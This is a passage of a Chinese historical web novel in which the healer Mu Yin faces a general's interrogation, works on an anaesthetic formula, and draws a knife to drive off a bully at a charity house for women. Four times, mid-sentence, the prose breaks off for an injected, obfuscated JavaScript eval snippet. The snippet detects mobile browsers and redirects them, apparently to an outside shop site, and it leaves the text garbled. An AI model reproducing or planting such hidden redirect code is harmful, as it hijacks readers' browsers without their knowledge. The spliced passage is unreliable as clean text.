然而,等真进了山,慕音差点没崩溃。原来,这高琅是个路痴,他兴致勃勃地带着慕音到了一处瀑布底下,说:“灯笼草就在这瀑布后方的山洞里,它最喜欢潮湿闷热、阴暗之处。” 慕音跟着高琅小心翼翼地爬过嶙峋崎岖的山石,从瀑布侧边进到山洞中,洞中一片幽暗。 “上次师傅说过一段时间灯笼草就会成熟了,可以采摘……”高琅伸手指着洞中一处地方,说道。 然后,他愣住了,揉了揉眼睛,睁大了:“哎,怎么回事,之前一大片灯笼草呢,怎么都不见了?” 高琅急急忙忙向前,在山洞里转了一圈,讪讪地道:“这个……额……似乎我们走错路了……不是这个山洞。但怎么会错呢,简直是一模一样啊……” 慕音扶额:“……” 高琅揉了揉自己的脸颊,干笑着,道:“慕娘子,不好意思啊。要不我们先去找通心草,这次一定不会有问题了,那个地方我去好几次了。” 他急于证明自己,匆匆从山石下来的时候,一不小心,踏空了,扑通一声跌进了瀑布底下的河流中。 慕音再扶额:“……”皇甫仲绝对是故意的吧,派了这么一个路痴来给她。她今天是不可能完成任务了。 好在小河水流不深,也不湍急。高琅呛了几口水之后,很快游到了岸边。 他爬上岸来,抹了把脸上的水,面色涨得通红,急急忙忙地道歉:“慕娘子,对不住啊,我们继续去采药吧。” 慕音看着他落汤鸡的样子,有一只鞋还在水里打着漩,不知道一会要飘哪里去了。她实在忍不住,噗嗤一声笑了出来:“还采什么药,今天就算了。你全身都湿了,鞋子也掉了,赶紧去捞起来,不然等会要光着脚走山路么!” 高琅这才后知后觉,哎呀一声,又扑通跳下水去把鞋子捞起来。 慕音哈哈大笑,有种难言的欢快,这是她许久未曾有经历过的。 两人就这般狼狈不堪地回到医药馆,好在现在是夏天,衣衫湿了也不会害病。不过,高琅跌入瀑布中,手臂和小腿都有被石头的棱角划伤。小腿处有一道划伤颇深,险些要见骨了,暂时结了血痂,需要清洗处理。 慕音拿了药箱来,给高琅上药。高琅开始还有些忸怩,毕竟是给妙龄女子处理伤口。然而,慕音毫不留情,挽起了他的裤管,根本不给任何提示,直接就往伤口上倒了清洗的药酒。 烈酒一下,高琅龇牙咧嘴地喊:“哎呀,痛痛痛,轻点轻点!” 慕音有些嫌弃,啧啧道:“就这点烈度就吃不消了?你还是医官呢。”她说着话手下不停,三两下把伤口洗干净,确定没有砂石遗留在伤口中。 高琅眼泪汪汪:“我是医官,又不是伤患。” “那战场之上,哪说得准呢。”慕音给他的伤口敷上草药,又缠上了绷带,紧紧地包扎上。 高琅看着女郎干净利落的手法,不由得赞叹:“你这伤口处理得真好!你从前师从何人啊?有这般技术。” 慕音收拾药箱,语气淡淡地道:“我师父不过是江湖郎中,不提也罢。如此乱世,我不知道在山野中遇到过多少伤者病患,硬逼着自己学会了。” 高琅听了,一时也伤感起来,叹道:“是啊,从前契丹人南下突破了幽州北边的城墙,那几个军镇,真是野有白骨,千里无人。我高氏也是渤海望族,数千族人,入了深山的堡垒里,守了几日,死伤近千。要不是周王及时赶到,恐怕灭族。我还记得先锋将军当时不过十五岁,骁勇无双,一骑快马,领兵而来。我那时候就发誓,要入大周军。虽然杀敌我不行,但救治士兵总是在行的……” “子珩,听说你受伤了?”皇甫仲的粗嗓门从门外传来,听起来颇为紧张。 皇甫仲三两步走上前来,看到高琅受伤的小腿。高琅表示自己没有大碍,只是不小心摔了一跤,伤口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282070|151873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也已经处理完毕。 “谁给你处理的伤口?她?”皇甫仲看了一眼,这绷带包扎得很挺牢固的。他又狐疑地看了一眼慕音。 高琅点点头,诚心实意地夸赞道:“慕娘子包扎得很好。”说完了,又觉得耳根发热,不太敢看师父。 “皇甫医官,这慕氏在医馆两天,就包扎了个伤口?医馆也有点太闲了吧。”一道带着讥诮的声音在门口响起,众人望去,就见先锋将军谢时正抱臂站在门边,眉头微皱。 谢时将慕音放给皇甫仲,是想让他看看她是不是真的医女,跟那迷倒虎山寨众人的迷药又要什么关系。可是,皇甫仲半点没问这些关键要害,倒是忙着给下马威了。 “行了,别折腾这么多。真要考校她辨别草药的功夫,也不用到荒山野岭去跑了。就从医馆里拿出来,让她一个个去认,去说药性和用途。再有,最要紧的,那麻药方子是什么,让她写一写。这两日有伤患么?让他们用一用,看效果如何。”谢时直截了当地说。 他一边说着,目光在慕音和高琅两人之间来回审视。高琅的不敢正视慕音,耳尖有些红,也不知道是觉得自己进个山都能掉进河里没脸见人,还是方才被女郎温柔体贴地上药而害羞。 慕氏则眉目低垂,叫人看不清神色,目之所及,是如云般的鬓发,梳着简单的发髻,只用了一根银簪子,一副乖巧模样。可真想不到昨日才来医馆,竟引得一群养伤的士兵竞相帮忙办事。 慕音身份未明,他一面让人去调查她的身份,一面也让人监视着她在医药馆的一举一动。这两日暗卫的回报实在叫人无语。一会儿是什么蒋大龙自报家门,一会儿又是什么高琅掉河湿身。 按照这种速度,他关心的麻药什么时候才能弄出来?他一拍桌子,还是得自己来一趟,矫正这些偏离轨道犹不自知的医士们。 偏皇甫仲是个有坚持的医士,他在军中多年,别说是谢时的建议,便是谢时老子周王的命令,他有时候都要跳出来说道几句的。 他捻着胡子义正言辞道:“将军此言差矣!无论是浆洗床单被褥,消杀病气,还是进山寻找草药,都是一个医士该做的。医士若不能理解这些事情,那如何能够理解照顾病患的难处。何况,她要入我大周军门,要是这点苦都吃不了,那还能干啥!” 谢时哈哈一笑,打趣道:“也不知道这苦是谁吃下的。昨日的床单被褥是她一个人洗完的?今天掉进河里伤了小腿的也是她?” 皇甫仲一时无言以对,面色涨红,指着谢时道:“你你你……哼!你就会取笑老夫,待下次伤了别找我!”说罢,甩袖而去。 高琅再一次被点到掉进河里这件糗事,这一回是货真价实地感到丢人,也不顾腿疼,追着师父走了。 待两人走了,慕音抬头,微笑着道:“多谢将军仗义执言。” 原来她笑起来的时候,有一个小梨涡,显得几分甜美。但身份尚未查明,自己不能掉以轻心。 谢时轻咳一声,神色肃正道:“皇甫仲说的也有几分道理,你既然来了医馆,该按照他的要求行事。他要你找什么草药,你自己去苍岭找就是了。若能通过他的考核,你才能留在这医馆,不然,也不必再留。” 谢时抬手,招呼了一个士兵过来,正是皮肤黝黑的大个蒋大龙。“让他与你一起进山,把药找齐。之后,再看能不能留在医药馆。” 5. 盘问 蒋大龙要比高琅靠谱得多。他来自卢龙山区,对于爬山找路,很有自己的一套。他虽看不懂药材,但是,却能按照慕音的描述,去找到类似的位置。 比如向南朝阳的水泽、背阴迎风的山崖、滴水潮湿的山洞、开阔平缓的峡谷,蒋大龙稍微思考,就能找到方向。有了向导,采药自然也就水到渠成了。 “你这也太厉害了啊!”慕音忍不住赞叹。几天相处下来,两人熟识起来。 蒋大龙颇有些不好意思,摸摸自己的后脑勺说:“这算厉害吗?我在山里走惯了。我们家世代都是猎户,需要进山寻找猎物的踪迹。我爹在林子里就没有追查不到的猎物!我连他的一半功夫都不及哩。” 蒋大龙滔滔不绝地说起自己的家乡:“山上宝贝多着呢,黑熊、老虎那是最值钱的,但是,也最难打。不是有经验的猎人可不敢。冬天的话,有雪狐,皮毛可漂亮了。这玩意跑得快,不过,我抓到过好几个。有一个皮子还给了隔壁家的女郎,她也夸我厉害。” 蒋大龙说到这,有些得意。 慕音听出来,笑眯眯地问:“这女郎是你的未婚妻?” 蒋大龙点头,“她可好了,是我们那最好的绣娘,但凡新婚嫁娶,都想要她的绣品。她绣的牡丹最好看,大红色的。等打完仗回家,我们便成婚,那婚服上就有她绣的红牡丹!” 慕音听着,面上也不由得浮起微笑。 在蒋大龙的帮助下,十余日后,慕音终于找齐了皇甫仲要求的草药,拿去给他确认。皇甫仲黑着脸去检查草药,发现竟然无一错漏,不由得重新打量起慕音来。 晒了十几天的太阳,她的皮肤变得更黑了一些,不过,这却让她的双眼更加明亮了,十分精神爽利。 “明日到医药馆来吧。”皇甫仲扔下一句话,负手走了。 蒋大龙连声恭喜慕音,话音刚落,就见一精瘦汉子过来,正是那日剿匪的副将韩平初,他请慕音到偏厅,谢时要见她。 慕音走进偏厅,谢时正坐在书案之后,手里正拿着一封信,不知道在看什么。 见到她进来,谢时放下信件,示意她坐下。一眼可见,慕音本不白皙的脸,变得更黑了。由从前的浅麦色,变成了蜂蜜色,不仔细看简直看不出来是个女郎。 “慕氏名音,年十七,孤女,父母俱亡,建平元年落籍代县黄家庄人士,养母薛氏,这可是你的户籍?”谢时指了指放在案几之上的信件,问道。 果然去查了。慕音不动声色,点头称是。 “建平元年你十二岁了,你原籍何处?父母何人?”谢时目光炯炯盯着她,问。 “我不记得了。可能是在关中,也可能是别处。十年前荒灾,九年前水灾,父母带着我跟着人四处逃难。”慕音对答如流,她已经设想过无数次这样的场景和对话。 她并不担心谢时能查出什么来,黄家庄有一半的人都是逃难去的,找到一处太平地方,恰好周王初立,允许难民落籍,就在那里安顿了下来。 “你为何要入大周军营?”谢时没有再问其他的,这女郎看起来镇定自若,对于突如其来的盘问核实,没有任何一丝惊慌之意。他直奔主题,开门见山地问道。 “想来将军也听说了我养母的情况。她眼睛有疾,视物不清。我师父从前曾经与我说过,早年他在长安行医时,曾听到太医们讨论过类似的病人。或许,太医院会留下记载和病案,也可能有医治方法。”理由是早就想好的,而这是一个完全真实的理由。 “那你又何必如此冒险?待大周军踏平潼关,占下长安,你再来,岂不更好?”谢时追问。 慕音犹豫了片刻,方露出浅笑来,道:“那我若问一句,将军你身为周王嫡幼子,家中父兄得力,母亲慈爱,又何必如此冒险?待到大周军踏平潼关,占下长安,你再来,做个鲜衣怒马的少主,岂不更好?” 谢时的俊脸瞬间沉了下去,还不待他说话,一侧的韩平初大喝一声:“放肆!你这女郎,太不知礼!将军心怀天下,剿匪平乱,只愿天下早日平定,百姓能安居乐业。将军岂是那等只懂享福的世家纨绔。” 慕音朝韩平初拱拱手,道:“既然将军有如此宏愿,那可正好了,想来将军能够理解我的想法。我虽是女子,亦心怀天下。幼时有幸跟随名医,修习一身医术,但望能救死扶伤,将师父的医术传于天下。” 韩平初一时接不上话,这女郎说的话似乎很有道理,但是这话由一个女郎说出来,却又有些奇怪。 谢时听她这么一说,面色稍霁,没料到这个山野女郎会说出这样一番大义凛然的话来。想起那日她独自上山,迷倒众匪,又救人的行动,倒也与她此时说的话是一致的。 “你的麻药药方就是来自你的师父么?他如今何在?”谢时问到他最关心的问题。 “他老人家已于去年仙逝。”慕音平静地回答,“正是因为他仙去,我才生出要替他将医术传遍四方的心思。” 心怀大义、知恩图报、医术精湛,手里握着对军队至关重要的麻药药方,如此,确实有足够的理由将一个女郎留在军队里了。 谢时敲敲案几,下了定论:“既如此,你尽快研制麻药,能够用于手术,救治伤兵。”他顿了一下,忽而笑了,“至于你养母,她如今因为眼疾,目视困难,一个人生活,多有不便。我已经派人将她送往周王府,自有奴仆好生照顾她的。你只需要将药制出来,待将来得胜回京,你母女团聚、再叙天伦。” 薛氏是做了谢时的人质了。 慕音登时急了,几步上前,顾不得礼数,双手按在案几之上,不自觉提高了声音,问:“我母亲如何了?你要做什么?” 谢时看着气急败坏的女郎,颇似被逼急了露出爪子的花狸猫,带着几分娇憨可爱。他如玉俊面上浮出一丝浅笑:“慕娘子放心,令堂很好,只要你好好办事,令堂就会一直都很好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282071|151873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>慕音盯着谢时看了半晌,才缓缓后退,再次行礼:“将军,方才多有得罪。我明白了。路遥知马力,日久见人心,我们来日方长。” 谢时站起身来,负手而立,道:“那就快点去研制好用的麻药吧。” 慕音应诺,行礼退下。离开偏厅,她方才满是气恼的脸色就平静了下来。慕音早有心理准备,出发投军之前就和薛氏商讨过,谢时可能的反应。 如果是一个男丁,想要入伍,估计谢时求之不得。但如果是一个女郎,那就必然会面对盘查。事出反常必有妖。谢时再年轻,也是经历过数年战争的将军,他不可能不采取一些控制措施,最重要的就是控制薛氏。 但是,她本来就不会对大周军不利,薛氏在周王府过的日子,比外头还要安全些。 待慕音离开了,谢时才问韩平初:“你看,她像细作么?” 韩平初摇头:“不像。她这样扎眼的细作,少见。”一个女郎,修习医术,一副这样姣好的容貌,无论哪一个,放在这军营里,都十分显眼。“她说的与薛氏说的完全一致。她修习医术,在代县行医数年,代县许多人也都知道。” “但是她是逃难来的,这里头文章就多了。”谢时想了想,道,“让人继续查探薛氏。薛氏的籍贯、生平,看看有没有别的线索。再派人盯着慕氏,制药需要她,但是,若她在药中下手,那就是灭顶之灾。让皇甫仲盯着药房,不能出纰漏。” 既然得到了谢时的首肯,接下来一段时间,慕音都跟皇甫仲一起,寻来各种草药,在动物身上测试麻药的功用。高琅也跟在一旁,拿着纸笔,记录着每一种草药的成效。 “原来竟有这么多草药可以用作麻药啊。”他一边记着,一边喃喃自语,这些时日已经试过了曼陀罗、羊踯躅、大麻、乌头、附子、莨菪子这许多种。 有些药皇甫仲以前也曾有过,有些却是新药,怕药效不明,也不敢用在人的身上,先用在了山羊身上。 待确认药性与人无害,就少剂量地在伤兵身上使用。有了麻药,伤兵在手术前喝下,手术中进入昏迷,实施手术却是变得容易了。 但这时候遇到了一个大问题,就是药方的剂量问题,以及药方在不同士兵身上作用的时间不尽相同。同样是处理腿部的伤口,同样的剂量,有的士兵一个时辰才苏醒,有的则半个时辰就醒过来。 皇甫仲翻看着这几次用药的效果,眉间不由得皱了起来,“曼陀罗加入进去后,麻药的效力确实强了很多。但是,我们对这个药的控制力度还是太弱了,时间没法稳定的话,手术中可能就要出大问题。” 手术中,需要开膛破肚,走线缝针,如果昏迷的程度不够,伤患在手术中清醒过来,恐怕要出问题。任谁看到自己肚皮打开,恐怕都忍不住尖叫。 慕音凝神回想自己师父当年为乡民诊治时的用药,柳眉微蹙,道:“这么一说,想起来当年师父在行医时,确实也出过岔子。” 6. 慈善堂 当年,一个老丈得了肠痈,腹痛不已,满地打滚。慕音十三岁,给师父打下手,按照常用的方子煮了麻药,老丈喝下去后,昏迷了过去。可是,师父刚割下肠子里的赘物,老丈突然痛醒了过来。 骤然看到自己的肚肠被割开了,医士们一手的血,拿着尖刀针线,老丈只以为自己看到了黑白无常、地狱使者,吓得面如死灰,挣扎着就要起身。 慕音就看到好不容易止住的血,又奔涌了出来。好在师父果断,重重一击,将老丈打晕了过去,完成了手术。 然而,老丈总想起自己在手术中惊醒时候所见,神情恍惚,心事重重,只觉得自己早已见过黑白无常,进了阎王爷的名单,就等着什么时候来勾提。一个多月后,老丈离世。 师父为此一直在寻找更有效的麻药方法,但是,在他离世时候,留给她的笔记里,麻药的方子依然没有新的变动。 这几日来,慕音和皇甫仲都只是在讨论药物的效用,这是她第一次说起她的师父和从前的生活。 看她眉头紧锁、心事重重的样子,显然还对老汉的离世颇为耿耿于怀。皇甫仲安慰道:“行医救人便是如此,难免有力所不逮的时候。天时地利人和,缺一不可。只能尽力而为,但求问心无愧。” 慕音闷闷点头,道:“我总觉得我忘记了些什么。师父可能留下过一些线索,但是,我一时想不起来。” 皇甫仲对这位民间郎中生出好奇心来,问:“你师父姓谁名甚?能用曼陀罗花做麻药,又能开腹破肚,该是当世神医啊。” 慕音摇头,道:“他并未透露过自己的姓名和身份。我只是偶然,给他落脚处。他便停在了代县,四处行医为生,村民都唤他代医官。” “可惜啊可惜,不能相交一番!”皇甫仲叹息道。 慕音的身份既然已经查明,其养母又在王府控制之下,慕音去除了间谍嫌疑,又有月余相处下来,皇甫仲真的生出了爱才之心。慕音认药准,用药快,手脚麻利,不带犹豫。就是面对伤兵血肉模糊的伤口,也没有一丝情绪,从不皱眉。手起刀落,干净利落。不像高琅,医书药理药方都懂,甚至可以说是渊博,但真要上手,难免犹豫。 对着慕音,皇甫仲颇有收了个有天赋的徒弟的骄傲,对她也多了几分慈爱。 这般忙碌了月余,依然没有效果,众人都已疲惫。恰逢汴京发来大批的草药,需要皇甫仲盘点核对。他就给慕音放了一日假:“出去走走,散散心。或许到时候就有新主意了。” 慕音收拾了一番,出发往县城去。医药馆今日恰好要去尧县采购物资,高琅和一个杂役驾着马车,接了慕音一起出发。 夏末秋初,汴京近北边,天气渐凉,凉风习习,天高气爽。少男少女坐在马车之中,打开了帘子,就看着外头晴空如洗,山林染色,金红灿黄深绿,层层叠叠,望之舒心。 慕音抱膝坐着,与高琅有一搭没一搭地说着话。 “我听说有慈善堂、纺织局、针线局,收容落难的女郎。想去看看,是个什么情况。”慕音说着自己此行的目的。她想看看,周王是怎么治理州县的。她在民间行医数年,无论是朱门贵族,或是商户大贾,又或者乡野村民,说起周王都是赞扬声一片。 高琅却是误会了,眼睛一下子亮了:“慕娘子真是菩萨心肠!你是不是还惦记着那些被山贼掳掠的女子呢?我听说,当时是你一刀砍了意欲行凶的山匪,真的好生英勇!我要下刀的时候,就总是犹豫,下不去手,为此师父都叹息了好几次。” 慕音没想到他想岔了,但也没纠正,只说:“我就悄悄看看,不可惊动她们。想来,她们也并愿意回想当日之事。” 高琅点头称好,慕音便问他去县城干嘛。高琅摸摸后脑勺,有些不好意思,道:“我母亲不愿意我学医的,她就想着我入仕做官。好在我上头还有兄长支应门庭,我爹经不住我的哀求,才送我到这里来。我姨父姨母就在城中经商,姨母得了母亲叮嘱,很是关照我,时常着人来看望我。休沐日我便都去她家。” 慕音听他提到父母兄长还有亲人,一时有些羡慕。高琅见到她静静地听着,没有插话,也絮絮叨叨多说了一些。 “我姨父姨母经营着城里几个大商铺,有绸缎布庄,也有首饰珠宝,小娘子们都很喜欢的。一会儿我们一起去看看,很快到中秋节了,正可以置办。”高琅说着,一边小心打量她的神色。 同学一段时间,高琅觉得慕音着实厉害,懂得多,又愿意与自己一起钻研,遇到手术操作的时候,还十分耐心教自己。他就有心想表达一番谢意,增进下同学间淳朴的友情。 高琅少年时在家中,父母管教甚严,并没有什么青梅竹马。十四五岁跟着皇甫仲学医,这医馆里全是糙汉子,只看医书,半点不曾留意过妙龄女子。他身上就带着些未开窍的书生气。 只是,如今看到慕音这般素净洗得发白的旧衣裳,头发就是一根素银簪子或木头簪子,突然福至心灵,想着给她送些女郎的衣物首饰,应是最好不过了。 她人长得这般明媚,若仔细打扮一番,定然是美不可言。 慕音不知道高琅心中所想,笑着摇头:“咱们治病救人的,穿新衣服反而不方便,也戴不了首饰。不知道有没有药堂医馆,不如去看看坐堂医生们技艺如何。” “那可以去找些好吃的!县城里有些本地的小食,麻胡饼、栗子糕、鸡丝馄饨汤,都很是可口,可以一尝!”高琅颇有些遗憾自己还没送出去的礼物就夭折途中,不过,很快又提出了另一个计划。 少年少女就这般兴致勃勃地在县城门口下了车,往集市方向赶去。正是圩日,四里八乡的村民都来县城赶集,人头攒动,颇为热闹。 尧县乃是汴京重镇,西接秦国,通往潼关,北靠长城,时有契丹骚扰。大周军对契丹的常备兵力就驻扎在城北大营,而对秦国作战的部队则驻扎在城西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282072|151873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因此,尧县里有着浓厚的战争气氛,城里的房屋都显得破旧,也不见人们如何修葺新屋。不过,人们对于战事并没有恐惧和惊慌,反而有种胜券在握的平静感,似乎只等待一切尘埃落定。 两人在市集里走走停停,慕音吃了几个小食,肚子已经是撑满了。手上又提了几盒子糕饼,正好可以拿回去给那皇甫老儿并医馆众人尝尝。 晌午时分,吃饱喝足的两人,缓缓走去慈善堂。 时值乱世,战乱频频,饥荒、瘟疫不时来袭,因此便有寡妇孤儿,无所依靠。周王五年前设了慈善堂,用于救济收容各地的难民,登记造册,安顿人口。 上次救回的女郎们,也不知道如今过得怎样了。慕音寻思着,就到了慈善堂门前。是一个有些陈旧的院子,上头挂着匾额,正楷写了“慈善堂”几个大字。院门开着,不时有女郎进出。因是女子居多,高琅就没有进去,只站在外头等着。 慕音提裙走了进去,门口看门的婆子老眼昏花,只看了一眼,笑道:“娘子回来了?今日收成如何啊?” 慕音含糊应过,走了进去。三进的院子,一眼便能望到底。院子里晾晒着衣服,角落栽种着植物,也不知是何人种下的茉莉花,正开着,白色的星星点点,风里带着香气。 除了一间大厅、一间饭堂,其余房间看起来都是卧房,浅窄逼仄。院子里静悄悄的,只有两三个女郎,带着三五个幼童,坐在门廊前做着绣活。看到有人行过,也不见惊奇。想是这院子里常有陌生人进出。 慕音走进大厅,这是日常理事议事的地方,有两个管事模样的女子,正坐在书案后头,核对账目。 “这月一共新来了二十个女子,出去了十个,都安排在了纺织局里……”一个约摸三十、模样清秀的姑姑正在向那年老的嬷嬷回禀着事情。 见到慕音进来,她们停了声音,看了过来。慕音行了礼,说明自己的来意,就问当初虎山寨下来的女郎,如今怎样了。 “你如今在皇甫神医的医馆里?那是个好去处,他愿意留你,想来你医术了得。我们这儿女子多,有些病症男医士来看也甚是不便,恐怕以后还得麻烦你。”清秀女子自称殷五娘,浅浅地笑着,说话颇为柔声细气。 “她们几个如今都好,有几个女郎已经入了纺织局,每日干活领工钱,能养活自己。就是有一个名叫赵今月的,心思抑郁,纺织局和刺绣局都待不下去,今天还在屋子里躺着。若是可以,你去宽慰宽慰她?” 慕音何时懂得安慰人呢?她幼时是父母的掌上明珠,就算逃亡路上,奶娘薛氏也从未委屈过她半分,后又跟着师父行医,所到之处,人称“小神医”。 她最怕的就是这样场面了,正在想着如何拒绝,突然院子外面一阵吵闹声。慕音循声望去,就见一个满身珠翠的妇人,带着一群仆妇豪奴,执杖拿棍,气势汹汹地冲了进来,嘴里大声叫嚣着:“赵今月,你个狐媚子、小贱人,你给我出来!” 7. 赵今月 殷五娘急忙迎上前去,拦住了一众人等,一改方才的柔声细气,而是义正言辞、声音严厉:“贾夫人,这是有什么事?慈善堂内,不得喧哗,请都到外头去。” 贾夫人面色倨傲,冷笑着看了一眼殷五娘,讽刺道:“上梁不正下梁歪。什么慈善堂,我看跟那窑子也差不多。都不知道是从哪个山贼窝里出来的小贱人,勾得这巷子里老少爷们不得安生。” 殷五娘听了这话,神色毫无波动,哂笑一声,“哎呀,原来前些天在慈善堂门口徘徊,见着姑娘就叫嚷的疯癫男人,是贾家的爷们啊!也不知道是哪位老爷,哪位少爷,是不是要送到皇甫神医那里,好生检查一番啊。” 贾夫人瞬间面色涨成猪肝色,冲上前来,就要厮打殷五娘,嘴里叫嚷着:“你这贱妇,活该嫁不出去,活该无后送终!” 殷五娘侧身,莲步微移,就轻巧地躲过贾夫人的利爪。贾夫人一个趔趄,扑了空,险些摔倒。她的仆人忙上前扶住她,方重新又站稳了。 “还不快出去!衙门士兵就要到了,到时候休怪守备大人无情!”殷五娘厉声喝道。 然而,贾夫人对慈善堂早已怀恨在心,积怨颇深。从前,是自己的丈夫慕恋殷五娘美色,好不容易消停了,前几日又得知自己最偏爱的秀才儿子日日守在慈善堂的门外,魂不守舍,就等着见一个从山贼窝里救回来的女郎。简直如同晴天霹雳一般,一口气梗在心口,形如癫狂。 “什么县令守备衙役,都是上了你的床吧,回回都来救你!今天我还就不怕了,他敢来动我我就到街上去喊!给我搜,把那小贱人找出来,拉她游街示众,浸猪笼,给全城的人都看看,这是从山贼窝里出来的女人,千人骑万人骑的小贱人!”贾夫人骂声难听,句句戳心。 她身后带着的七八个身材健壮的仆妇,得了命令,就要走上前去,要打开房门。 方才第二进院子里绣花的女人们都放下了活计,站了起来,拉着孩子们,站在一角看着,神情中有愤怒、有害怕、也有恐惧。孩子们神情慌张,不知道发生了什么,但见闹哄哄的,有胆小的就哇哇大哭起来。 殷五娘一人难敌四拳,众仆妇已经散开动作,她额头沁出汗珠来,焦急地看向门外。怎么的衙役还没到? 一片混乱之中,贾夫人甚是得意,挺直了腰板,站在台阶上,扶了一把发髻上的金步摇,喊道:“都给我搜……” “搜”字尚未喊出声来,突然身后贴上来一个身子,耳边响起一个低柔的女子声音:“贾夫人,就请你让仆妇们都出去,否则,刀枪无眼,弄伤夫人可就不好了。” 一柄弯刀,正顶在她的后腰。时值夏末,贾夫人还穿着单薄夏衣,铁器的冰凉与坚硬,就通过衣衫传递了过来。 贾夫人一时吓得魂飞魄散,喘着气,微微侧头,就看到一个圆脸的小娘子,微笑地看着她,嘴角边一个小小梨涡,笑意甜美。她就靠着自己站着,好像是在搀扶着贾夫人一样,根本没人想到,这女子在持刀威胁她。 “你……你是什么人?”贾夫人结结巴巴地说道。 “我就是贾夫人说的,从山贼窝里出来的女子啊。”慕音笑意不减,回忆道,“那天我一刀砍在山匪的脖子,立刻就血溅三尺,一息毙命,真是好可怕啊。夫人可想见识见识?” 贾夫人一听,脚都软了,“不了,不了,女侠饶命!” “还要不要游街示众浸猪笼啊?这话你怎么不跟山贼去说?”慕音循循善诱,背后的柳叶刀紧了紧。 贾夫人几乎就要给她跪下:“女侠,老妇有眼不识泰山,我这就走,这就走!” “下次再敢生事,就没这么简单了。”慕音收起了刀,插进刀鞘。 贾夫人如蒙大赦,连滚带爬,跌跌撞撞地跑了出去,仿佛见鬼了一样。仆妇们跟在身后,一阵兵荒马乱地跟了出去。 殷五娘不料有如此转折,忙向前道谢,言谈之间多了些亲近,“这贾夫人是当地富户,家中兄长在朝为官,多年来行事张扬跋扈。多亏了你,不然慈善堂的女子就要遭罪了。去看看今月吧,想她心里不好受得很。她本是在针线局干活的,不小心遇到了贾家小少爷。那小少爷纠缠不休,贾夫人日日到针线局生事,无奈只得避在慈善堂里。” 殷五娘领着慕音到了西厢房的一侧,敲门,“月娘,慕娘子来看你了。”然而好半晌,都无人响应。 殷五娘苦笑,摇头道:“看来这次不巧,下回你得空再来吧。” 慕音倒松了一口气,她本不擅长安慰人,方才那样直接动手,才是她的性格。“我下次不知道什么时候才能进城了,医药堂里很是忙碌。” 她想了想,站在门外,朗声道:“赵今月,要记着,错不在你,错在掳掠你的山匪,错在对你见色起意的人。但是,为什么人人可以欺你?只因你为鱼肉,他为鱼俎。你要想的是,怎样让自己成为鱼俎,至少,不要做鱼肉。乱世之中,护好自己。” 说罢,她转身就要离去。走出几步之后,身后的房门“吱呀”一声打开了,一个桃面杏眼的美人站在门后,艰涩的声音,带着坚决:“我也想练剑防身,教我。” 慕音定睛看了一下,拊掌道:“我想起来了!你是那个拿了我刀,将山匪砍倒在地的小娘子!你既有这般胆色,何惧这世间流言。” 殷五娘见赵今月出来,虽面色有些憔悴,但是一切都好。她放下心来,留下两个年轻小娘子说话。 原来赵今月是汴京人士,父亲身体虚弱,不得不上书致仕,一家人住在田庄之上。孰料被山匪攻击田庄,全家遇难,只余她一人。 “前一刻还父母恩爱,家庭圆满。下一瞬却已经阴阳两隔,家破人亡。每每午夜梦回,心痛不能自已,也不知道自己在这世间活着是为了什么,倒不如追随父母而去。”赵今月说着,不知不觉已是泪流满面。 慕音这一瞬间,仿佛是看到了自己。她曾经也是这般痛苦过,迷茫过。但是,为了日子能够过下去,她不再回想往日的辉煌与荣光,也不再回想逃亡途中的痛楚与屈辱。她的目标只有一个,就是要为至亲报仇。 这个目标,支撑着她活下来,走到今天。 她叹了口气,对赵今月说道:“把痛苦都放在心底的最深处。就想象那是冬天冰封的冰河,让过往安静地流淌。我们站在冰河之上,离这些痛苦远远的。我们变得冷静而理智,我们就能找到自己的道路。” “你可以看书写字,纺织绣花,修习医术。可以结婚生子,将来也会子孙满堂。还可以万水千山走遍,看诗人笔下的万般风景。你父母爱你至深,一定盼着你长命百岁。我们要替父母,爱我们自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282073|151873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己。” 赵今月听得都有些出神了,不确定地问:“真的可以吗?来得及吗?” “当然,总有一天。” 